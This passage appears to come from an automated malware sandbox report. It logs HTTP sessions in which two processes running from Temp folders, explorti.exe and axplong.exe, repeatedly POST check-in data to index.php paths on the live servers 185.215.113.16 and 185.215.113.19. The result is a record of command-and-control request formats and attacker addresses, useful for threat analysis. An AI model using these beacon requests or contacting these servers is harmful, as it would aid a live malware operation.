Jul 27, 2024 03:20:19.959705114 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:20.208961010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49796	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:19.573159933 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:20.313796997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:20.314582109 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:20.559979916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49797	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:20.322810888 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:21.087457895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:21.124569893 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:21.374208927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49798	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:20.668077946 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:21.446074963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:21.446842909 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:21.700323105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49801	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:21.494386911 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:22.254565954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:22.255426884 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:22.503861904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49803	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:21.813512087 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:22.557257891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:22.597035885 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:22.845299959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49806	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:22.635481119 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:23.381932974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:23.383300066 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:23.644289017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49807	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:23.001076937 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:23.739593029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:23.740252972 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:23.983711004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49808	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:23.764504910 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:24.524296999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:24.525610924 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:24.785445929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49809	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:24.106465101 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:24.869151115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:24.873873949 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:25.123208046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49810	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:24.902468920 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:25.680531025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:25.685209990 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:25.936203003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49812	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:25.367527008 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:26.096627951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:26.097393990 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:26.344950914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49815	34.107.221.82	80	5236	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:25.728509903 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:26.193644047 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54254 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:26.616122007 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
